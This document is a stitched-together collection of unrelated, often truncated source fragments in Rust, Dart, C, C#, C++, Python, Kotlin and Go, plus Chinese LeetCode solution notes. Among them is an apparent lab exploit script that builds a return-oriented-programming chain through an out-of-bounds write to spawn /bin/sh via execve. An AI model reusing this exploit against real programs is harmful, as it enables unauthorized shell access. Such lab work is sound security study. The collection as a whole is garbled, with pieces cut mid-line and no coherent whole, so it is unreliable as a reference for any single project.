e_group(StyleGroup::new(".el > .align_left").style("align-self", "flex-start"))
                .style_group(StyleGroup::new(".el > .align_right").style("align-self", "flex-end"))
                .style_group(StyleGroup::new(".el > .exact_height").style("flex-shrink", "0"))
                .style_group(StyleGroup::new(".el > .fill_height").style("flex-grow", "1"));
        });
        Self {
            raw_el: RawHtmlEl::new(tag.as_str())
                .class("el")
                .style("display", "inline-flex")
                .style("flex-direction", "column"),
            flags: PhantomData,
        }
    }
}
impl<ChildFlag> Styleable<'_, RawHtmlEl> for El<ChildFlag> {}
impl<ChildFlag> KeyboardEventAware<RawHtmlEl> for El<ChildFlag> {}
impl<ChildFlag> MouseEventAware<RawHtmlEl> for El<ChildFlag> {}
impl<ChildFlag> MutableViewport<RawHtmlEl> for El<ChildFlag> {}
impl<ChildFlag> ResizableViewport<RawHtmlEl> for El<ChildFlag> {}
impl<ChildFlag> Hookable<RawHtmlEl> for El<ChildFlag> {
    type WSElement = HtmlElement;
}
impl<ChildFlag> AddNearbyElement<'_> for El<ChildFlag> {}
impl<ChildFlag> HasClassId<RawHtmlEl> for El<ChildFlag> {}

// ------ ------
//  Attributes
// ------ ------

impl<'a, ChildFlag> El<ChildFlag> {
    pub fn child(mut self, child: impl IntoOptionElement<'a> + 'a) -> El<ChildFlagSet>
    where
        ChildFlag: FlagNotSet,
    {
        self.raw_el = self.raw_el.child(child);
        self.into_type()
    }

    pub fn child_signal(
        mut self,
        child: impl Signal<Item = impl IntoOptionElement<'a>> + Unpin + 'static,
    ) -> El<ChildFlagSet>
    where
        ChildFlag: FlagNotSet,
    {
        self.raw_el = self.raw_el.child_signal(child);
        self.into_type()
    }

    fn into_type<NewChildFlag>(self) -> El<NewChildFlag> {
        El {
            raw_el: self.raw_el,
            flags: PhantomData,
        }
    }
}
// TODO: Remove these when crate is closer to being finished.
#![allow(dead_code)]
#![allow(unused_variables)]

mod alu;
mod core_registers;
pub mod lookup;
mod memory;
mod permutation_unit;
mod public_input_layout;
mod registers;
pub mod system_zero;
<reponame>janriemer/nom-packrat<gh_stars>10-100
#![recursion_limit = "128"]

extern crate proc_macro;

use crate::proc_macro::TokenStream;
use quote::ToTokens;
use syn::{self, parse_macro_input, parse_quote, AttributeArgs, FnArg, ItemFn, Stmt};

/// Custom attribute for packrat parser
#[proc_macro_attribute]
pub fn packrat_parser(attr: TokenStream, item: TokenStream) -> TokenStream {
    let attr = parse_macro_input!(attr as AttributeArgs);
    let item = parse_macro_input!(item as ItemFn);
    impl_packrat_parser(&attr, &item)
}

fn impl_packrat_parser(_attr: &AttributeArgs, item: &ItemFn) -> TokenStream {
    let before = impl_packrat_parser_bofore(&item);
    let body = impl_packrat_parser_body(&item);
    let after = impl_packrat_parser_after(&item);

    let mut item = item.clone();

    item.block.stmts.clear();
    item.block.stmts.push(before);
    item.block.stmts.push(body);
    item.block.stmts.push(after);

    item.into_token_stream().into()
}

fn impl_packrat_parser_bofore(item: &ItemFn) -> Stmt {
    let ident = &item.sig.ident;


ll="currentColor" d="M333.88 240.59a8 8 0 01-6.66-6.66C320.68 192.78 290.82 168 256 168c-32.37 0-53.93 21.22-62.48 43.58a7.92 7.92 0 01-6.16 5c-27.67 4.35-50.82 22.56-51.35 54.3-.52 31.53 25.51 57.11 57 57.11H326c27.5 0 50-13.72 50-44 0-27.22-22-40.41-42.12-43.4Z"/><path fill="currentColor" stroke="currentColor" stroke-miterlimit="10" stroke-width="32" d="M448 256c0-106-86-192-192-192S64 150 64 256s86 192 192 192 192-86 192-192Z"/></svg>';
  static const String cloud_circle_sharp =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="512" height="512" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512"><path fill="currentColor" d="M256 48C141.13 48 48 141.13 48 256s93.13 208 208 208 208-93.13 208-208S370.87 48 256 48Zm70 280H196c-33 0-60-23-60-56 0-34.21 26-53 56-56 7.28-23.9 29.5-48 64-48 36.5 0 67.55 27.23 72 72 21.49 1.12 48 14.09 48 44 0 30.28-22.5 44-50 44Z"/></svg>';
  static const String cloud_done =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="512" height="512" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512"><path fill="currentColor" d="M424.44 227.25a16 16 0 01-12.12-12.39c-7.68-36.68-24.45-68.15-49.18-92A153.57 153.57 0 00256 80c-35.5 0-68.24 11.69-94.68 33.8a156.24 156.24 0 00-42 56 16 16 0 01-11.37 9.15c-27 5.62-51.07 17.34-69.18 33.87C13.39 235.88 0 267.42 0 304c0 36 14.38 68.88 40.49 92.59C65.64 419.43 99.56 432 136 432h260c32.37 0 60.23-8.57 80.59-24.77C499.76 388.78 512 361.39 512 328c0-57.57-42-90.58-87.56-100.75Zm-95.2-8.94-107.8 128a16 16 0 01-12 5.69h-.27a16 16 0 01-11.88-5.28l-45.9-50.87c-5.77-6.39-5.82-16.33.3-22.4a16 16 0 0123.16.63l33.9 37.58 96-114a16 16 0 1124.48 20.62Z"/></svg>';
  static const String cloud_done_outline =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="512" height="512" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512"><path fill="currentColor" stroke="currentColor" stroke-linejoin="round" stroke-width="32" d="M400 240c-8.89-89.54-71-144-144-144-69 0-113.44 48.2-128 96-60 6-112 43.59-112 112 0 66 54 112 120 112h260c55 0 100-27


_pre_key_id']! as i1.GeneratedColumn<int>;
  i1.GeneratedColumn<i2.Uint8List> get signedPreKey =>
      columnsByName['signed_pre_key']! as i1.GeneratedColumn<i2.Uint8List>;
  i1.GeneratedColumn<i2.Uint8List> get signedPreKeySignature =>
      columnsByName['signed_pre_key_signature']!
          as i1.GeneratedColumn<i2.Uint8List>;
  i1.GeneratedColumn<DateTime> get createdAt =>
      columnsByName['created_at']! as i1.GeneratedColumn<DateTime>;
}

i1.GeneratedColumn<int> _column_59(String aliasedName) =>
    i1.GeneratedColumn<int>('signed_pre_key_id', aliasedName, false,
        type: i1.DriftSqlType.int);
i1.GeneratedColumn<i2.Uint8List> _column_60(String aliasedName) =>
    i1.GeneratedColumn<i2.Uint8List>('signed_pre_key', aliasedName, false,
        type: i1.DriftSqlType.blob);
i1.GeneratedColumn<i2.Uint8List> _column_61(String aliasedName) =>
    i1.GeneratedColumn<i2.Uint8List>(
        'signed_pre_key_signature', aliasedName, false,
        type: i1.DriftSqlType.blob);

final class Schema11 extends i0.VersionedSchema {
  Schema11({required super.database}) : super(version: 11);
  @override
  late final List<i1.DatabaseSchemaEntity> entities = [
    contacts,
    messages,
    mediaUploads,
    mediaDownloads,
    signalIdentityKeyStores,
    signalPreKeyStores,
    signalSenderKeyStores,
    signalSessionStores,
    signalContactPreKeys,
    signalContactSignedPreKeys,
    messageRetransmissions,
  ];
  late final Shape13 contacts = Shape13(
      source: i0.VersionedTable(
        entityName: 'contacts',
        withoutRowId: false,
        isStrict: false,
        tableConstraints: [
          'PRIMARY KEY(user_id)',
        ],
        columns: [
          _column_0,
          _column_1,
          _column_2,
          _column_3,
          _column_4,
          _column_5,
          _column_6,
          _column_7,
          _column_8,
          _column_9,
          _column_39,
          _column_53,
          _column_57,
          _column_54,
          _column_40,
          _column_10,
          _column_11,
          _column_12,
          _column_13,
          _column_14,
          _column_55,
          _column_15,
          _column_16,
        ],
        attachedDatabase: database,
      ),
      alias: null);
  late final Shape10 messages = Shape10(
      source: i0.VersionedTable(
        entityName: 'messages',
        withoutRowId: false,
        isStrict: false,
        tableConstraints: [],
        columns: [
          _column_17,
          _column_18,
          _column_19,
          _column_48,
          _column_49,
          _column_20,
          _column_21,
          _column_22,
          _column_52,
          _column_23,
          _column_24,
          _column_25,
          _column_26,
          _column_27,
          _column_28,
          _column_29,
          _column_30,
        ],
        attachedDatabase: database,
      ),
      alias: null);
  late final Shape7 mediaUploads = Shape7(
      source: i0.VersionedTable(
        entityName: 'media_uploads',
        withoutRowId: false,
        isStrict: false,
        tableConstraints: [],
        columns: [
          _column_41,
          _column_42,
          _column_56,
          _


im.min.js"></script>-->

<!DOCTYPE html>

    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Multiple projections instancing example - three-projected-material</title>
    <link rel="stylesheet" href="css/style.css" type="text/css" />

    <canvas id="app"></canvas>

      Inspired by @dirkkoy


node, &wbc);	/* ensure inode not allocated again */
	mark_inode_dirty(inode);	/* cleared by sysv_write_inode() */
	/* That's it. */
	unlock_super(sb);
	return inode;
}

unsigned long sysv_count_free_inodes(struct super_block * sb)
{
	struct sysv_sb_info *sbi = SYSV_SB(sb);
	struct buffer_head * bh;
	struct sysv_inode * raw_inode;
	int ino, count, sb_count;

	lock_super(sb);

	sb_count = fs16_to_cpu(sbi, *sbi->s_sb_total_free_inodes);

	if (0)
		goto trust_sb;

	/* this causes a lot of disk traffic ... */
	count = 0;
	ino = SYSV_ROOT_INO+1;
	raw_inode = sysv_raw_inode(sb, ino, &bh);
	if (!raw_inode)
		goto Eio;
	while (ino <= sbi->s_ninodes) {
		if (raw_inode->i_mode == 0 && raw_inode->i_nlink == 0)
			count++;
		if ((ino++ & sbi->s_inodes_per_block_1) == 0) {
			brelse(bh);
			raw_inode = sysv_raw_inode(sb, ino, &bh);
			if (!raw_inode)
				goto Eio;
		} else
			raw_inode++;
	}
	brelse(bh);
	if (count != sb_count)
		goto Einval;
out:
	unlock_super(sb);
	return count;

Einval:
	printk("sysv_count_free_inodes: "
		"free inode count was %d, correcting to %d\n",
		sb_count, count);
	if (!(sb->s_flags & MS_RDONLY)) {
		*sbi->s_sb_total_free_inodes = cpu_to_fs16(SYSV_SB(sb), count);
		dirty_sb(sb);
	}
	goto out;

Eio:
	printk("sysv_count_free_inodes: unable to read inode table\n");
trust_sb:
	count = sb_count;
	goto out;
}


()
        {
            var ctx = cpu;
            var input = ctx.Allocate(new[,] { { 1.0, 2.0, 3.0 }, { 4.0, 5.0, 6.0 } });

            ctx.Assign(input.Slice(), input.Slice() + 1.0);
            input.Print();
            Assert.AreEqual(new[,] { { 2.0, 3.0, 4.0 }, { 5.0, 6.0, 7.0 } }, input.ToArray2D());

            ctx.Assign(input.Slice(-1, Range(0, 2)), input.Slice(-1, Range(0, 2)) + 1.0);
            input.Print();
            Assert.AreEqual(new[,] { { 3.0, 4.0, 4.0 }, { 6.0, 7.0, 7.0 } }, input.ToArray2D());

            ctx.Assign(input.Slice(1, Range(0, 2)), input.Slice(1, Range(0, 2)) + 1.0);
            input.Print();
            Assert.AreEqual(new[,] { { 3.0, 4.0, 4.0 }, { 7.0, 8.0, 7.0 } }, input.ToArray2D());
        }

        [Test]
        public static void Slice2DGpu()
        {
            var ctx = gpu;
            var input = ctx.Allocate(new[,] { { 1.0, 2.0, 3.0 }, { 4.0, 5.0, 6.0 } });

            ctx.Assign(input.Slice(), input.Slice() + 1.0);
            input.Print();
            Assert.AreEqual(new[,] { { 2.0, 3.0, 4.0 }, { 5.0, 6.0, 7.0 } }, input.ToArray2D());

            ctx.Assign(input.Slice(-1, Range(0, 2)), input.Slice(-1, Range(0, 2)) + 1.0);
            input.Print();
            Assert.AreEqual(new[,] { { 3.0, 4.0, 4.0 }, { 6.0, 7.0, 7.0 } }, input.ToArray2D());

            ctx.Assign(input.Slice(1, Range(0, 2)), input.Slice(1, Range(0, 2)) + 1.0);
            input.Print();
            Assert.AreEqual(new[,] { { 3.0, 4.0, 4.0 }, { 7.0, 8.0, 7.0 } }, input.ToArray2D());
        }

        [Test]
        public static void Slice3DCpu()
        {
            var ctx = cpu;
            var input = ctx.Allocate(new[, ,] { { { 1.0, 2.0, 3.0 }, { 4.0, 5.0, 6.0 } }, { { 1.5, 2.5, 3.5 }, { 4.5, 5.5, 6.5 } } });

            ctx.Assign(input.Slice(), input.Slice() + 1.0);
            Assert.AreEqual(new[, ,] { { { 2.0, 3.0, 4.0 }, { 5.0, 6.0, 7.0 } }, { { 2.5, 3.5, 4.5 }, { 5.5, 6.5, 7.5 } } }, input.ToArray3D());

            ctx.Assign(input.Slice(-1, -1, Range(0, 2)), input.Slice(-1, -1, Range(0, 2)) + 1.0);
            Assert.AreEqual(new[, ,] { { { 3.0, 4.0, 4.0 }, { 6.0, 7.0, 7.0 } }, { { 3.5, 4.5, 4.5 }, { 6.5, 7.5, 7.5 } } }, input.ToArray3D());

            ctx.Assign(input.Slice(1, -1, Range(0, 2)), input.Slice(1, -1, Range(0, 2)) + 1.0);
            Assert.AreEqual(new[, ,]
            {
                {
                    { 3.0, 4.0, 4.0 },
                    { 6.0, 7.0, 7.0 }
                },
                {
                    { 4.5, 5.5, 4.5 },
                    { 7.5, 8.5, 7.5 }


/**
 * Copyright (c) 2024 Peking University and Peking University
 * Changsha Institute for Computing and Digital Economy
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#pragma once

#include "PreCompiledHeader.h"
// Precompiled header comes first

#include "CgroupManager.h"
#include "CommonPublicDefs.h"

namespace Craned::Supervisor {

using Common::CgroupManager;
using Common::EnvMap;

using StepToSupv = crane::grpc::TaskToD;

struct TaskStatusChangeQueueElem {
  task_id_t task_id{};
  crane::grpc::TaskStatus new_status{};
  uint32_t exit_code{};
  std::optional<std::string> reason;
};

struct Config {
  struct CforedListenConf {
    struct TlsCertConfig {
      bool Enabled{false};
      TlsCertificates TlsCerts;
      std::string CaFilePath;
      std::string CaContent;
      std::string DomainSuffix;
    };
    TlsCertConfig TlsConfig;
  };
  CforedListenConf CforedListenConf;
  struct ContainerConfig {
    bool Enabled{false};
    std::filesystem::path TempDir;
    std::string RuntimeBin;
    std::string RuntimeState;
    std::string RuntimeRun;
    std::string RuntimeKill;
    std::string RuntimeDelete;
  };
  ContainerConfig Container;

  struct PluginConfig {
    bool Enabled{false};
    std::string PlugindSockPath;
  };
  PluginConfig Plugin;

  bool CompressedRpc{};

  std::string SupervisorDebugLevel;

  std::filesystem::path CraneBaseDir;
  std::filesystem::path CraneScriptDir;
  std::filesystem::path CranedUnixSocketPath;

  // Only for debugging
  std::filesystem::path SupervisorLogFile;

  CranedId CranedIdOfThisNode;

  std::filesystem::path SupervisorUnixSockPath;

  task_id_t JobId;
  EnvMap JobEnv;
  step_id_t StepId;
  StepToSupv StepSpec;
  std::atomic_int TaskCount;
  std::string CgroupPath;  // resolved cgroup path for OOM monitoring
};

inline Config g_config;
}  // namespace Craned::Supervisor

inline std::unique_ptr<BS::thread_pool> g_thread_pool;


�译时加入`-Wl,--stack=268435456`选项（设置系统栈空间为256 MB）。
- Linux/Mac环境，编译时加入`-Wl,-stack_size,0x10000000,-stack_addr,0xc0000000`选项（设置系统栈空间为256 MB）。
  - Linux环境也可以在当前终端环境中执行`ulimit -s unlimited`，之后在本终端中运行的程序不受栈空间限制（该命令对Mac无效）
  - Mac环境建议使用`homebrew`方式安装的`g++`（注意其调用方式为`g++-v`，`v`代表版本号），不要使用Mac自带的`g++`命令。

### Java设置堆栈大小

编译时加入`-Xss256M`选项可以将堆栈大小设置为256 MB。

### Python设置最大递归深度

```python
import sys

sys.setrecursionlimit(10000)
```

理论上来说可以设置为任意值，但实际上会受到Python版本和系统环境的限制，未必能达到设置值。最好的办法，还是在可以预料到递归深度太深时，放弃使用递归，或者放弃Python。

<Utterances />
# Leetcode 第62场双周赛题解

## Problem A - [将一维数组转变成二维数组](https://leetcode.cn/problems/convert-1d-array-into-2d-array/)

### 方法一：模拟

按要求操作即可。

- 时间复杂度$\mathcal{O}(NM)$。
- 空间复杂度$\mathcal{O}(NM)$。

::: details 参考代码（Python 3）

```python
class Solution:
    def construct2DArray(self, original: List[int], m: int, n: int) -> List[List[int]]:
        if len(original) != m * n:
            return []
        return [original[i * n:(i + 1) * n] for i in range(m)]
```

:::

## Problem B - [连接后等于目标字符串的字符串对](https://leetcode.cn/problems/number-of-pairs-of-strings-with-concatenation-equal-to-target/)

### 方法一：暴力

暴力枚举所有长度符合要求的串即可。

- 时间复杂度为$\mathcal{O}(N^2|S|)$。
- 空间复杂度$\mathcal{O}(|S|)$。

::: details 参考代码（C++）

```cpp
class Solution {
public:
    int numOfPairs(vector<string>& nums, string target) {
        int ans = 0, n = nums.size();
        for (int i = 0; i < n; ++i)
            for (int j = 0; j < n; ++j) {
                if (i != j && nums[i].size() + nums[j].size() == target.size() && nums[i] + nums[j] == target)
                    ans++;
            }
        return ans;
    }
};
```

:::

### 方法二：前后缀

我们可以逐个判断每个字符串是否是`target`的前缀或后缀，并对后缀长度计数。

然后，我们枚举所有是前缀的字符串，根据哈希表的计数结果就可以知道有多少个与之匹配的后缀。注意这里需要排除掉它自身也是后缀并且长度刚好为`target`的一半的情形。

- 时间复杂度为$\mathcal{O}(N|S|)$。
- 空间复杂度$\mathcal{O}(|S|)$。

::: details 参考代码（C++）

```cpp
class Solution {
public:
    int numOfPairs(vector<st


# lab5end: byp4ss1ng_d3p_1s_c00l_am1rite

import os
import sys
import subprocess

INDEX = 1073741711+3 # return address &quit -> 1073741711

def rop_gadget_write(gadget, stack_adjustment):

  global INDEX

  # we cannot write to addresses that equal 0 when % by 3
  while (INDEX % 3 == 0):
    INDEX -= 1

  sys.stderr.write("[+] Gadget written at 0x%8x\n" % INDEX)

  # write the gadget / operation we need to do
  write_gadget  = "store\n"             # trigger the out of bounds write
  write_gadget += "%d\n" % (gadget)     # <gadget / address>
  write_gadget += "-%d\n" % (INDEX)     # write at index[x]
  INDEX -= 1

  # move the stack pointer to the next gadget
  if stack_adjustment != 0x00000000:
    write_gadget += "store\n"
    write_gadget += "%d\n" % (stack_adjustment)
    write_gadget += "-%d\n" % (INDEX)
    INDEX -= 1

  sys.stdout.write(write_gadget)

def trigger_vuln():

  trigger  = "quit"
  trigger += "\n\n"

  sys.stdout.write(trigger)

def exploit_buffer():

  # EAX == execve(
  #   (EBX) const char *pathname = pointer to "/bin/sh",
  #   (ECX) char *const argv[] = NULL,
  #   (EDX) char *const envp[] = NULL
  # );
  #
  # generate a pointer to "/bin/sh", into EBX
  rop_gadget_write(0x6e69622f, 0x0068732f) # "/bin/sh"
  rop_gadget_write(0x08054c32, # ret;
                   0x08099179) # pop ebx; ret;                (1. place a stack address in EBX)
  rop_gadget_write(0x08054c32, # ret;
                   0x0804fc82) # mov eax, ebx; pop ebx; ret;
  rop_gadget_write(0x080640f8, # sub eax, edx; ret;           (2. EAX - (EDX == 0x74))
                   0x0809684b) # sub eax, 0x10; pop edi; ret; (3. EAX - 0x10)
  rop_gadget_write(0x08054c32, # ret;
                   0x0809684b) # sub eax, 0x10; pop edi; ret; (4. EAX - 0x10, EAX -> "/bin/sh")
  rop_gadget_write(0x0804846e, # pop esi; pop edi; ret;
                   0x08054c32) # <fill ESI with readable address>
  rop_gadget_write(0x080e4a45, # xchg eax, ebx; or cl, byte ptr [esi]; adc al, 0x41; ret;
                   0x0806c0a9) # add esp, 4; ret;
  # generate the syscall number for execve(11) into EAX
  rop_gadget_write(0x08054c30, # xor eax, eax; ret;
                   0x08096be2) # add eax, 0xb; pop edi; ret;
  # place a NULL into the ECX register
  rop_gadget_write(0x08054c32, # ret
                   0x080e6255) # pop ecx; ret;
  # place a NULL into the EDX register and make the syscall
  rop_gadget_write(0x08054c32, # ret
                   0x0806f3aa) # pop edx; ret;
  rop_gadget_write(0x080e7357, # dec edx; ret;
                   0x08048eaa) # int 0x80

  trigger_vuln()

def main():
  exploit_buffer()

main()


# Copyright 2011,2013 Christoph Reiter
#             2016,25 Nick Boultbee
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

from gi.repository import Gtk, Gst

if not Gst.ElementFactory.find("chromaprint"):
    from quodlibet import plugins

    raise plugins.MissingGstreamerElementPluginError("chromaprint", "bad")

from .submit import FingerprintDialog
from .util import get_api_key

from quodlibet import _
from quodlibet import config
from quodlibet import util
from quodlibet.qltk import Button, Frame, Icons
from quodlibet.qltk.entry import UndoEntry
from quodlibet.qltk.msg import ErrorMessage
from quodlibet.plugins.songsmenu import SongsMenuPlugin
from quodlibet.plugins.songshelpers import is_writable, is_finite, each_song

class AcoustidSearch(SongsMenuPlugin):
    PLUGIN_ID = "AcoustidSearch"
    PLUGIN_NAME = _("Acoustic Fingerprint Lookup")
    PLUGIN_DESC = _("Looks up song metadata through acoustic fingerprinting.")
    PLUGIN_ICON = Icons.NETWORK_WORKGROUP

    plugin_handles = each_song(is_finite, is_writable)

    def plugin_songs(self, songs):
        from .search import SearchWindow

        window = SearchWindow(songs, title=self.PLUGIN_NAME)
        window.show()

        # plugin_done checks for metadata changes and opens the write dialog
        window.connect("destroy", self.__plugin_done)

    def __plugin_done(self, *args):
        self.plugin_finish()

class AcoustidSubmit(SongsMenuPlugin):
    PLUGIN_ID = "AcoustidSubmit"
    PLUGIN_NAME = _("Submit Acoustic Fingerprints")
    PLUGIN_DESC = _(
        "Generates acoustic fingerprints using chromaprint "
        "and submits them to acoustid.org."
    )
    PLUGIN_ICON = Icons.NETWORK_WORKGROUP

    plugin_handles = each_song(is_finite, is_writable)

    def plugin_songs(self, songs):
        if not get_api_key():
            ErrorMessage(
                self,
                _("API Key Missing"),
                _(
                    "You have to specify an acoustid.org API key in the plugin "
                    "preferences before you can submit fingerprints."
                ),
            ).run()
        else:
            FingerprintDialog(songs)

    @classmethod
    def PluginPreferences(cls, win):
        box = Gtk.VBox(spacing=12)

        # api key section
        def key_changed(entry, *args):
            config.set("plugins", "fingerprint_acoustid_api_key", entry.get_text())

        button = Button(_("Request API key"), Icons.NETWORK_WORKGROUP)
        button.connect(
            "clicked", lambda s: util.website("https://acoustid.org/api-key")
        )
        key_box = Gtk.HBox(spacing=6)
        entry = UndoEntry()
        entry.set_text(get_api_key())
        entry.connect("changed", key_changed)
        label = Gtk.Label(label=_("API _key:"))
        label.set_use_underline(True)
        label.set_mnemonic_widget(entry)
        key_box.pack_start(label, False, True, 0)
        key_box.pack_start(entry, True, True, 0)
        key_box.pack_start(button, False, True, 0)

        box.pack_start(Frame(_("AcoustID Web Service"), child=key_box), True, True, 0)

        return box


Name.WISP_POTION -> return 20_000.0
            NeuInternalName.ENCHANTED_HAY_BLOCK -> return 7_776.0
            NeuInternalName.TIGHTLY_TIED_HAY_BALE -> return 1_119_744.0
        }

        if (priceSource != ItemPriceSource.NPC_SELL) {
            getBazaarData()?.let {
                return if (priceSource == ItemPriceSource.BAZAAR_INSTANT_BUY) it.instantBuyPrice else it.instantSellPrice
            }

            getLowestBinOrNull()?.let {
                return it
            }

            if (this == JACK_O_LANTERN) {
                return "PUMPKIN".toInternalName().getPrice(priceSource) + 1
            }
        }
        if (this == GOLDEN_CARROT) {
            // 6.8 for some players
            return 7.0 // NPC price
        }

        return getNpcPriceOrNull()
            ?: getRawCraftCostOrNull(priceSource, pastRecipes).takeUnless { priceSource == ItemPriceSource.NPC_SELL }
    }

    fun NeuInternalName.isAuctionHouseItem(): Boolean = getLowestBinOrNull() != null

    private fun NeuInternalName.getLowestBinOrNull(): Double? = when {
        PlatformUtils.isNeuLoaded() -> getNeuLowestBin(this)
        else -> getShLowestBin(this)
    }.takeIf { it != -1L }?.toDouble()

    private fun getNeuLowestBin(internalName: NeuInternalName) =
        NotEnoughUpdates.INSTANCE.manager.auctionManager.getLowestBin(internalName.asString())

    // We can not use NEU craft cost, since we want to respect the price source choice
    // NEUItems.manager.auctionManager.getCraftCost(asString())?.craftCost
    fun NeuInternalName.getRawCraftCostOrNull(
        priceSource: ItemPriceSource = ItemPriceSource.BAZAAR_INSTANT_BUY,
        pastRecipes: List<PrimitiveRecipe> = emptyList(),
    ): Double? = getRecipes(this).filter { it !in pastRecipes }
        .map { it.getRecipePrice(priceSource, pastRecipes + it) }
        .filter { it > 0 }
        .minOrNull()

    fun NeuInternalName.getNpcPrice(): Double = getNpcPriceOrNull() ?: 0.0

    fun NeuInternalName.getNpcPriceOrNull(): Double? {
        if (this == NeuInternalName.WISP_POTION) {
            return 20_000.0
        }
        return HypixelItemApi.getNpcPrice(this)
    }

    private fun debugItemPrice(args: String?) {
        val internalName = getItemOrFromHand(args)
        if (internalName == null) {
            ChatUtils.userError("Hold an item in hand or do /shdebugprice <item name/id>")
            return
        }

        val defaultPrice = internalName.getPrice().addSeparators()
        val info = buildList {
            add("Debug Item Price for §6$internalName ")
            add("defaultPrice: §6$defaultPrice")

            add("#")
            for (source in ItemPriceSource.entries) {
                val price = internalName.getPrice(source)
                add("${source.displayName} price: §6${price.addSeparators()}")
            }
            add("#")

            add(" ")
            add("getLowestBinOrNull: §6${internalName.getLowestBinOrNull()?.addSeparators()}")

            internalName.getBazaarData().let {
                add("getBazaarData instantBuyPrice: §6${it?.instantBuyPrice?.addSeparators()}")
                add("getBazaarData instantSellPrice: §6${it?.instantSellPrice?.addSeparators()}")
            }

            add("getNpcPriceOrNull: §6${internalName.getNpcPriceOrNull()?.addSeparators()}")
            add("getRawCraftCostOrNull: §6${internalName.getRawCraftCostOrNull()?.addSeparators()}")
        }
        ChatUtils.clickToClipboard("${internalName


.Precomputed.Dq)

	priv.Precomputed.Qinv = new(big.Int).ModInverse(priv.Primes[1], priv.Primes[0])

	r := new(big.Int).Mul(priv.Primes[0], priv.Primes[1])
	priv.Precomputed.CRTValues = make([]CRTValue, len(priv.Primes)-2)
	for i := 2; i < len(priv.Primes); i++ {
		prime := priv.Primes[i]
		values := &priv.Precomputed.CRTValues[i-2]

		values.Exp = new(big.Int).Sub(prime, bigOne)
		values.Exp.Mod(priv.D, values.Exp)

		values.R = new(big.Int).Set(r)
		values.Coeff = new(big.Int).ModInverse(r, prime)

		r.Mul(r, prime)
	}
}

const withCheck = true
const noCheck = false

// decrypt performs an RSA decryption of ciphertext into out. If check is true,
// m^e is calculated and compared with ciphertext, in order to defend against
// errors in the CRT computation.
func decrypt(priv *PrivateKey, ciphertext []byte, check bool) ([]byte, error) {
	if len(priv.Primes) <= 2 {
		boring.Unreachable()
	}

	var (
		err  error
		m, c *bigmod.Nat
		N    *bigmod.Modulus
		t0   = bigmod.NewNat()
	)
	if priv.Precomputed.n == nil {
		N, err = bigmod.NewModulusFromBig(priv.N)
		if err != nil {
			return nil, ErrDecryption
		}
		c, err = bigmod.NewNat().SetBytes(ciphertext, N)
		if err != nil {
			return nil, ErrDecryption
		}
		m = bigmod.NewNat().Exp(c, priv.D.Bytes(), N)
	} else {
		N = priv.Precomputed.n
		P, Q := priv.Precomputed.p, priv.Precomputed.q
		Qinv, err := bigmod.NewNat().SetBytes(priv.Precomputed.Qinv.Bytes(), P)
		if err != nil {
			return nil, ErrDecryption
		}
		c, err = bigmod.NewNat().SetBytes(ciphertext, N)
		if err != nil {
			return nil, ErrDecryption
		}

		// m = c ^ Dp mod p
		m = bigmod.NewNat().Exp(t0.Mod(c, P), priv.Precomputed.Dp.Bytes(), P)
		// m2 = c ^ Dq mod q
		m2 := bigmod.NewNat().Exp(t0.Mod(c, Q), priv.Precomputed.Dq.Bytes(), Q)
		// m = m - m2 mod p
		m.Sub(t0.Mod(m2, P), P)
		// m = m * Qinv mod p
		m.Mul(Qinv, P)
		// m = m * q mod N
		m.ExpandFor(N).Mul(t0.Mod(Q.Nat(), N), N)
		// m = m + m2 mod N
		m.Add(m2.ExpandFor(N), N)
	}

	if check {
		c1 := bigmod.NewNat().ExpShort(m, uint(priv.E), N)
		if c1.Equal(c) != 1 {
			return nil, ErrDecryption
		}
	}

	return m.Bytes(N), nil
}

// DecryptOAEP decrypts ciphertext using RSA-OAEP.
//
// OAEP is parameterised by a hash function that is used as a random oracle.
// Encryption and decryption of a given message must use the same hash function
// and sha256.New() is a reasonable choice.
//
// The random parameter is legacy and ignored, and it can be nil.
//
// The label parameter must match the value given when encrypting. See
// EncryptOAEP for details.
func DecryptOAEP(hash hash.Hash, random io.Reader, priv *PrivateKey, ciphertext []byte, label


mat,

    /// If the text is in multi-line mode or single-line mode.
    is_multiline: bool,

    /// If the text is word-wrapped.
    is_word_wrap: bool,

    /// Cached breakpoints of where to make newlines.
    cached_break_points: Option<Vec<usize>>,

    // The AVM1 object handle
    object: Option<Object<'gc>>,
}

impl<'gc> EditText<'gc> {
    /// Creates a new `EditText` from an SWF `DefineEditText` tag.
    pub fn from_swf_tag(
        context: &mut UpdateContext<'_, 'gc, '_>,
        swf_movie: Arc<SwfMovie>,
        swf_tag: swf::EditText,
    ) -> Self {
        let is_multiline = swf_tag.is_multiline;
        let is_word_wrap = swf_tag.is_word_wrap;

        let text = if swf_tag.is_html {
            let mut result = String::new();
            let tag_text = swf_tag.initial_text.clone().unwrap_or_default();
            let mut chars = tag_text.chars().peekable();

            while let Some(c) = chars.next() {
                // TODO: SWF text fields can contain a limited subset of HTML (and often do in SWF versions >6).
                // This is a quicky-and-dirty way to skip the HTML tags. This is obviously not correct
                // and we will need to properly parse and handle the HTML at some point.
                // See SWF19 pp. 173-174 for supported HTML tags.
                if c == '<' {
                    // Skip characters until we see a close bracket.
                    chars.by_ref().find(|&x| x == '>');
                } else {
                    result.push(c);
                }
            }

            result
        } else {
            swf_tag.initial_text.clone().unwrap_or_default()
        };

        EditText(GcCell::allocate(
            context.gc_context,
            EditTextData {
